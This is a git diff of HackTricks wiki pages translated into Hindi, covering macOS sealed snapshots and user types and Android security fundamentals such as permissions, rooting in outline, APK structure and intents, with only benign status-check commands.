इसके अलावा, **macOS सिस्टम वॉल्यूम स्नैपशॉट** `/` में माउंट किया गया है और यह **सील** है (OS द्वारा क्रिप्टोग्राफिक रूप से हस्ताक्षरित)। इसलिए, यदि SIP को बायपास किया जाता है और इसे संशोधित किया जाता है, तो **OS अब बूट नहीं होगा**।
|
||||
|
||||
It's also possible to **verify that seal is enabled** by running:
|
||||
यह भी संभव है कि **सत्यापित करें कि सील सक्षम है** चलाकर:
|
||||
```bash
|
||||
csrutil authenticated-root status
|
||||
Authenticated Root status: enabled
|
||||
```
|
||||
इसके अलावा, स्नैपशॉट डिस्क को **पढ़ने के लिए केवल** के रूप में भी माउंट किया गया है:
|
||||
इसके अलावा, स्नैपशॉट डिस्क को **केवल-पढ़ने** के रूप में भी माउंट किया गया है:
|
||||
```bash
|
||||
mount
|
||||
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **स्टीलर मालवेयर** द्वारा **समझौता** किए गए हैं।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,71 +1,56 @@
|
|||
# macOS उपयोगकर्ता
|
||||
# macOS Users
|
||||
|
||||
{% hint style="success" %}
|
||||
**AWS हैकिंग सीखें और अभ्यास करें:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP हैकिंग सीखें और अभ्यास करें:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>हैकट्रिक्स का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** को [**पीआर जमा करके**](https://github.com/carlospolop/hacktricks) और [**हैकट्रिक्स क्लाउड**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
### Common Users
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** से प्रेरित खोज इंजन है जो **मुफ्त** सुविधाएं प्रदान करता है ताकि जांच सकें कि क्या कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर्स** द्वारा **क्षति** पहुंचाई गई है।
|
||||
|
||||
WhiteIntel का मुख्य उद्देश्य खाता हासिल करने और रैंसमवेयर हमलों से लड़ना है जो जानकारी चोरी करने वाले मैलवेयर से होते हैं।
|
||||
|
||||
आप उनकी वेबसाइट चेक कर सकते हैं और **मुफ्त** में उनका इंजन प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
### सामान्य उपयोगकर्ता
|
||||
|
||||
* **डेमन**: सिस्टम डेमन्स के लिए रिजर्व उपयोगकर्ता। डिफ़ॉल्ट डेमन खाता नाम आम तौर पर "\_" से शुरू होते हैं:
|
||||
* **Daemon**: सिस्टम डेमन्स के लिए आरक्षित उपयोगकर्ता। डिफ़ॉल्ट डेमन खाता नाम आमतौर पर "\_" से शुरू होते हैं:
|
||||
|
||||
```bash
|
||||
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
|
||||
```
|
||||
* **मेहमान**: बहुत सख्त अनुमतियों वाले मेहमानों के लिए खाता
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
* **Guest**: मेहमानों के लिए खाता जिसमें बहुत सख्त अनुमतियाँ होती हैं
|
||||
```bash
|
||||
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
|
||||
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* **कोई नहीं**: प्रक्रियाएँ इस उपयोगकर्ता के साथ कार्यान्वित होती हैं जब न्यूनतम अनुमतियाँ आवश्यक होती हैं
|
||||
* **कोई नहीं**: प्रक्रियाएँ इस उपयोगकर्ता के साथ तब निष्पादित होती हैं जब न्यूनतम अनुमतियों की आवश्यकता होती है
|
||||
* **रूट**
|
||||
|
||||
### उपयोगकर्ता विशेषाधिकार
|
||||
|
||||
* **मानक उपयोगकर्ता:** सबसे मौलिक उपयोगकर्ता। इस उपयोगकर्ता को सॉफ़्टवेयर इंस्टॉल करने या अन्य उन्नत कार्यों को करने की कोशिश करते समय एडमिन उपयोगकर्ता से अनुमतियाँ प्रदान की जाती हैं। वे इसे अपने आप नहीं कर सकते।
|
||||
* **एडमिन उपयोगकर्ता**: एक उपयोगकर्ता जो अधिकांश समय मानक उपयोगकर्ता के रूप में कार्य करता है लेकिन साथ ही रूट कार्रवाई जैसे सॉफ़्टवेयर इंस्टॉल करने और अन्य प्रशासनिक कार्य करने की अनुमति होती है। सभी उपयोगकर्ता जो एडमिन समूह में शामिल हैं, **सुडोएर्स फ़ाइल के माध्यम से रूट तक पहुँच दी जाती हैं**।
|
||||
* **रूट**: रूट एक उपयोगकर्ता है जिसे लगभग किसी भी कार्रवाई करने की अनुमति है (सिस्टम इंटेग्रिटी संरक्षण जैसे सुरक्षा द्वारा प्रतिबंध लगाए गए हो सकते हैं)।
|
||||
* उदाहरण के लिए रूट `/System` के अंदर एक फ़ाइल नहीं रख सकेगा।
|
||||
* **मानक उपयोगकर्ता:** सबसे बुनियादी उपयोगकर्ता। इस उपयोगकर्ता को सॉफ़्टवेयर स्थापित करने या अन्य उन्नत कार्य करने का प्रयास करते समय एक व्यवस्थापक उपयोगकर्ता से अनुमतियाँ प्राप्त करने की आवश्यकता होती है। वे इसे अपने दम पर नहीं कर सकते।
|
||||
* **व्यवस्थापक उपयोगकर्ता**: एक उपयोगकर्ता जो अधिकांश समय मानक उपयोगकर्ता के रूप में कार्य करता है लेकिन सॉफ़्टवेयर स्थापित करने और अन्य प्रशासनिक कार्यों जैसे रूट क्रियाएँ करने की अनुमति भी है। व्यवस्थापक समूह से संबंधित सभी उपयोगकर्ताओं को **sudoers फ़ाइल के माध्यम से रूट तक पहुँच दी जाती है**।
|
||||
* **रूट**: रूट एक उपयोगकर्ता है जिसे लगभग किसी भी क्रिया को करने की अनुमति है (सिस्टम इंटीग्रिटी प्रोटेक्शन जैसी सुरक्षा द्वारा सीमाएँ लगाई गई हैं)।
|
||||
* उदाहरण के लिए, रूट `/System` के अंदर एक फ़ाइल रखने में असमर्थ होगा
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण AWS रेड टीम विशेषज्ञ (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण GCP रेड टीम विशेषज्ञ (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>हैकट्रिक्स का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फ़ॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Android Security Model
|
||||
|
||||
**दो परतें हैं:**
|
||||
|
@ -36,7 +28,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### UID Sharing
|
||||
|
||||
**दो अनुप्रयोगों को समान UID का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है**। यह जानकारी साझा करने के लिए उपयोगी हो सकता है, लेकिन यदि इनमें से एक समझौता किया जाता है, तो दोनों अनुप्रयोगों का डेटा समझौता किया जाएगा। यही कारण है कि इस व्यवहार को **नकारा** जाता है।\
|
||||
**दो अनुप्रयोगों को समान UID का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है**। यह जानकारी साझा करने के लिए उपयोगी हो सकता है, लेकिन यदि इनमें से एक समझौता किया जाता है तो दोनों अनुप्रयोगों का डेटा समझौता कर लिया जाएगा। यही कारण है कि इस व्यवहार को **नकारा** जाता है।\
|
||||
**समान UID साझा करने के लिए, अनुप्रयोगों को अपने मैनिफेस्ट में समान `android:sharedUserId` मान को परिभाषित करना चाहिए।**
|
||||
|
||||
### Sandboxing
|
||||
|
@ -47,18 +39,18 @@ Android 5.0(L) से **SELinux** लागू किया गया है।
|
|||
### Permissions
|
||||
|
||||
जब आप एक **ऐप इंस्टॉल करते हैं और यह अनुमतियों के लिए पूछता है**, तो ऐप **AndroidManifest.xml** फ़ाइल में **`uses-permission`** तत्वों में कॉन्फ़िगर की गई अनुमतियों के लिए पूछ रहा है। **uses-permission** तत्व अनुरोधित अनुमति के नाम को **name** **attribute** के अंदर इंगित करता है। इसमें **maxSdkVersion** attribute भी है जो निर्दिष्ट संस्करण से उच्च संस्करणों पर अनुमतियों के लिए पूछना बंद कर देता है।\
|
||||
ध्यान दें कि एंड्रॉइड अनुप्रयोगों को शुरुआत में सभी अनुमतियों के लिए पूछने की आवश्यकता नहीं है, वे **डायनामिकली अनुमतियों के लिए भी पूछ सकते हैं** लेकिन सभी अनुमतियों को **मैनिफेस्ट में घोषित** करना चाहिए।
|
||||
ध्यान दें कि एंड्रॉइड अनुप्रयोगों को शुरुआत में सभी अनुमतियों के लिए पूछने की आवश्यकता नहीं है, वे **डायनामिकली अनुमतियों के लिए भी पूछ सकते हैं** लेकिन सभी अनुमतियों को **मैनिफेस्ट में घोषित** किया जाना चाहिए।
|
||||
|
||||
जब एक ऐप कार्यक्षमता को उजागर करता है, तो यह **केवल उन ऐप्स तक पहुंच को सीमित कर सकता है जिनके पास निर्दिष्ट अनुमति है**।\
|
||||
जब एक ऐप कार्यक्षमता को उजागर करता है, तो यह **केवल उन ऐप्स तक पहुंच को सीमित कर सकता है जिनके पास एक निर्दिष्ट अनुमति है**।\
|
||||
एक अनुमति तत्व में तीन विशेषताएँ होती हैं:
|
||||
|
||||
* अनुमति का **नाम**
|
||||
* **permission-group** attribute, जो संबंधित अनुमतियों को समूहित करने की अनुमति देता है।
|
||||
* **protection-level** जो इंगित करता है कि अनुमतियाँ कैसे दी जाती हैं। चार प्रकार हैं:
|
||||
* **Normal**: जब ऐप के लिए **कोई ज्ञात खतरे नहीं होते**। उपयोगकर्ता को **इसे मंजूर करने की आवश्यकता नहीं है**।
|
||||
* **Dangerous**: इंगित करता है कि अनुमति अनुरोध करने वाले अनुप्रयोग को कुछ **उच्च पहुंच** प्रदान करती है। **उपयोगकर्ताओं से उन्हें मंजूर करने के लिए कहा जाता है**।
|
||||
* **Normal**: जब ऐप के लिए **कोई ज्ञात खतरे नहीं होते**। उपयोगकर्ता को इसे **स्वीकृत करने की आवश्यकता नहीं है**।
|
||||
* **Dangerous**: इंगित करता है कि अनुमति अनुरोध करने वाले अनुप्रयोग को कुछ **उच्च पहुंच** प्रदान करती है। **उपयोगकर्ताओं से उन्हें स्वीकृत करने के लिए कहा जाता है**।
|
||||
* **Signature**: केवल **उसी प्रमाणपत्र द्वारा हस्ताक्षरित ऐप्स** को अनुमति दी जा सकती है जो घटक को निर्यात कर रहा है। यह सुरक्षा का सबसे मजबूत प्रकार है।
|
||||
* **SignatureOrSystem**: केवल **उसी प्रमाणपत्र द्वारा हस्ताक्षरित ऐप्स** या **सिस्टम-स्तरीय पहुंच के साथ चलने वाले ऐप्स** को अनुमतियाँ दी जा सकती हैं।
|
||||
* **SignatureOrSystem**: केवल **उसी प्रमाणपत्र द्वारा हस्ताक्षरित ऐप्स** को अनुमति दी जा सकती है जो घटक को निर्यात कर रहा है या **सिस्टम-स्तरीय पहुंच के साथ चलने वाले ऐप्स** को अनुमतियाँ दी जा सकती हैं।
|
||||
|
||||
## Pre-Installed Applications
|
||||
|
||||
|
@ -71,12 +63,12 @@ Android 5.0(L) से **SELinux** लागू किया गया है।
|
|||
## Rooting
|
||||
|
||||
एक भौतिक एंड्रॉइड डिवाइस में रूट एक्सेस प्राप्त करने के लिए आपको आमतौर पर **1 या 2 कमजोरियों का शोषण** करने की आवश्यकता होती है जो आमतौर पर **डिवाइस** और **संस्करण** के लिए **विशिष्ट** होती हैं।\
|
||||
एक बार जब शोषण काम कर जाता है, तो आमतौर पर लिनक्स `su` बाइनरी को उपयोगकर्ता के PATH env वेरिएबल में निर्दिष्ट स्थान पर `/system/xbin` की तरह कॉपी किया जाता है।
|
||||
एक बार जब शोषण काम कर जाता है, तो आमतौर पर लिनक्स `su` बाइनरी को उपयोगकर्ता के PATH env वेरिएबल में निर्दिष्ट स्थान पर कॉपी किया जाता है जैसे `/system/xbin`।
|
||||
|
||||
एक बार जब su बाइनरी कॉन्फ़िगर हो जाती है, तो `su` बाइनरी के साथ इंटरफेस करने के लिए एक और एंड्रॉइड ऐप का उपयोग किया जाता है और **रूट एक्सेस के लिए अनुरोधों को संसाधित** किया जाता है जैसे **Superuser** और **SuperSU** (जो Google Play स्टोर में उपलब्ध हैं)।
|
||||
|
||||
{% hint style="danger" %}
|
||||
ध्यान दें कि रूटिंग प्रक्रिया बहुत खतरनाक है और डिवाइस को गंभीर रूप से नुकसान पहुँचा सकती है।
|
||||
ध्यान दें कि रूटिंग प्रक्रिया बहुत खतरनाक है और डिवाइस को गंभीर रूप से नुकसान पहुँचा सकती है
|
||||
{% endhint %}
|
||||
|
||||
### ROMs
|
||||
|
@ -88,7 +80,7 @@ Android 5.0(L) से **SELinux** लागू किया गया है।
|
|||
|
||||
### Implications
|
||||
|
||||
एक बार जब एक डिवाइस रूट हो जाता है, तो कोई भी ऐप रूट के रूप में एक्सेस का अनुरोध कर सकता है। यदि एक दुर्भावनापूर्ण एप्लिकेशन इसे प्राप्त करता है, तो यह लगभग सब कुछ तक पहुंच प्राप्त कर सकता है और फोन को नुकसान पहुँचा सकता है।
|
||||
एक बार जब एक डिवाइस रूट हो जाता है, तो कोई भी ऐप रूट के रूप में एक्सेस का अनुरोध कर सकता है। यदि एक दुर्भावनापूर्ण एप्लिकेशन इसे प्राप्त करता है, तो यह लगभग सब कुछ तक पहुंच प्राप्त कर लेगा और यह फोन को नुकसान पहुँचा सकेगा।
|
||||
|
||||
## Android Application Fundamentals <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
|
@ -101,9 +93,9 @@ Android 5.0(L) से **SELinux** लागू किया गया है।
|
|||
- META-INF/
|
||||
- यहीं पर प्रमाणपत्र स्थित है!
|
||||
- **classes.dex**
|
||||
- इसमें डेलविक बाइटकोड होता है, जो संकलित जावा (या कोटलिन) कोड का प्रतिनिधित्व करता है जिसे अनुप्रयोग डिफ़ॉल्ट रूप से निष्पादित करता है।
|
||||
- डेलविक बाइटकोड शामिल करता है, जो संकलित जावा (या कोटलिन) कोड का प्रतिनिधित्व करता है जिसे अनुप्रयोग डिफ़ॉल्ट रूप से निष्पादित करता है।
|
||||
- lib/
|
||||
- इसमें मूलभूत पुस्तकालय होते हैं, जो उपनिर्देशिकाओं में CPU आर्किटेक्चर द्वारा विभाजित होते हैं।
|
||||
- मूलभूत पुस्तकालयों को रखता है, जो उपनिर्देशिकाओं में CPU आर्किटेक्चर द्वारा विभाजित होते हैं।
|
||||
- `armeabi`: ARM आधारित प्रोसेसर के लिए कोड
|
||||
- `armeabi-v7a`: ARMv7 और उच्चतर आधारित प्रोसेसर के लिए कोड
|
||||
- `x86`: X86 प्रोसेसर के लिए कोड
|
||||
|
@ -117,30 +109,30 @@ Android 5.0(L) से **SELinux** लागू किया गया है।
|
|||
|
||||
एंड्रॉइड विकास में, **Java या Kotlin** का उपयोग ऐप बनाने के लिए किया जाता है। डेस्कटॉप ऐप्स की तरह JVM का उपयोग करने के बजाय, एंड्रॉइड इस कोड को **Dalvik Executable (DEX) बाइटकोड** में संकलित करता है। पहले, डेलविक वर्चुअल मशीन इस बाइटकोड को संभालती थी, लेकिन अब, नए एंड्रॉइड संस्करणों में, एंड्रॉइड रनटाइम (ART) इसका प्रबंधन करता है।
|
||||
|
||||
रिवर्स इंजीनियरिंग के लिए, **Smali** महत्वपूर्ण हो जाता है। यह DEX बाइटकोड का मानव-पठनीय संस्करण है, जो स्रोत कोड को बाइटकोड निर्देशों में अनुवादित करके असेंबली भाषा की तरह कार्य करता है। इस संदर्भ में Smali और baksmali असेंबली और डिसअसेंबली उपकरणों को संदर्भित करते हैं।
|
||||
रिवर्स इंजीनियरिंग के लिए, **Smali** महत्वपूर्ण हो जाता है। यह DEX बाइटकोड का मानव-पठनीय संस्करण है, जो स्रोत कोड को बाइटकोड निर्देशों में अनुवाद करके असेंबली भाषा की तरह कार्य करता है। इस संदर्भ में Smali और baksmali असेंबली और डिसअसेंबली उपकरणों को संदर्भित करते हैं।
|
||||
|
||||
## Intents
|
||||
|
||||
Intents एंड्रॉइड ऐप्स के बीच उनके घटकों या अन्य ऐप्स के साथ संवाद करने के प्राथमिक साधन हैं। ये संदेश वस्तुएं ऐप्स या घटकों के बीच डेटा ले जा सकती हैं, जैसे HTTP संचार में GET/POST अनुरोधों का उपयोग किया जाता है।
|
||||
Intents एंड्रॉइड ऐप्स के बीच उनके घटकों या अन्य ऐप्स के साथ संवाद करने का प्राथमिक साधन हैं। ये संदेश वस्तुएं ऐप्स या घटकों के बीच डेटा ले जा सकती हैं, जैसे कि HTTP संचार में GET/POST अनुरोधों का उपयोग किया जाता है।
|
||||
|
||||
तो एक Intent मूल रूप से **घटकों के बीच पारित किया जाने वाला एक संदेश है**। Intents **विशिष्ट घटकों या ऐप्स की ओर निर्देशित** किए जा सकते हैं, **या बिना किसी विशिष्ट प्राप्तकर्ता के भेजे जा सकते हैं**।\
|
||||
सरलता के लिए Intent का उपयोग किया जा सकता है:
|
||||
|
||||
* एक गतिविधि शुरू करने के लिए, आमतौर पर एक ऐप के लिए उपयोगकर्ता इंटरफ़ेस खोलना
|
||||
* सिस्टम और ऐप्स को परिवर्तनों की जानकारी देने के लिए प्रसारण के रूप में
|
||||
* एक पृष्ठभूमि सेवा के साथ प्रारंभ, रोकने और संवाद करने के लिए
|
||||
* सिस्टम और ऐप्स को परिवर्तनों के बारे में सूचित करने के लिए प्रसारण के रूप में
|
||||
* एक पृष्ठभूमि सेवा को शुरू करने, रोकने और संवाद करने के लिए
|
||||
* ContentProviders के माध्यम से डेटा तक पहुँचने के लिए
|
||||
* घटनाओं को संभालने के लिए कॉलबैक के रूप में
|
||||
|
||||
यदि कमजोर है, तो **Intents का उपयोग विभिन्न प्रकार के हमलों को करने के लिए किया जा सकता है**।
|
||||
यदि कमजोर हैं, तो **Intents का उपयोग विभिन्न प्रकार के हमलों को करने के लिए किया जा सकता है**।
|
||||
|
||||
### Intent-Filter
|
||||
|
||||
**Intent Filters** परिभाषित करते हैं **कैसे एक गतिविधि, सेवा, या ब्रॉडकास्ट रिसीवर विभिन्न प्रकार के Intents के साथ इंटरैक्ट कर सकता है**। मूल रूप से, वे इन घटकों की क्षमताओं का वर्णन करते हैं, जैसे कि वे कौन से कार्य कर सकते हैं या वे किस प्रकार के प्रसारण को संसाधित कर सकते हैं। इन फ़िल्टरों की घोषणा करने का प्राथमिक स्थान **AndroidManifest.xml फ़ाइल** के भीतर है, हालांकि ब्रॉडकास्ट रिसीवर्स के लिए, उन्हें कोडिंग करना भी एक विकल्प है।
|
||||
**Intent Filters** परिभाषित करते हैं **कैसे एक गतिविधि, सेवा, या ब्रॉडकास्ट रिसीवर विभिन्न प्रकार के Intents के साथ इंटरैक्ट कर सकता है**। मूल रूप से, वे इन घटकों की क्षमताओं का वर्णन करते हैं, जैसे कि वे कौन से कार्य कर सकते हैं या वे किस प्रकार के प्रसारण को संसाधित कर सकते हैं। इन फ़िल्टरों की प्राथमिक जगह **AndroidManifest.xml फ़ाइल** के भीतर घोषित करना है, हालांकि ब्रॉडकास्ट रिसीवर्स के लिए, उन्हें कोडिंग करना भी एक विकल्प है।
|
||||
|
||||
Intent Filters श्रेणियों, क्रियाओं और डेटा फ़िल्टरों से बने होते हैं, जिसमें अतिरिक्त मेटाडेटा शामिल करने की संभावना होती है। यह सेटअप घटकों को उन विशिष्ट Intents को संभालने की अनुमति देता है जो घोषित मानदंडों से मेल खाते हैं।
|
||||
|
||||
एंड्रॉइड घटकों (गतिविधियाँ/सेवाएँ/सामग्री प्रदाता/ब्रॉडकास्ट रिसीवर्स) का एक महत्वपूर्ण पहलू उनकी दृश्यता या **सार्वजनिक स्थिति** है। एक घटक को सार्वजनिक माना जाता है और यह अन्य ऐप्स के साथ इंटरैक्ट कर सकता है यदि इसे **`exported`** के मान के साथ **`true`** के रूप में सेट किया गया है या यदि इसके लिए मैनिफेस्ट में एक Intent Filter घोषित किया गया है। हालाँकि, डेवलपर्स के लिए इन घटकों को स्पष्ट रूप से निजी रखना संभव है, यह सुनिश्चित करते हुए कि वे अनजाने में अन्य ऐप्स के साथ इंटरैक्ट न करें। यह उनके मैनिफेस्ट परिभाषाओं में **`exported`** विशेषता को **`false`** पर सेट करके प्राप्त किया जाता है।
|
||||
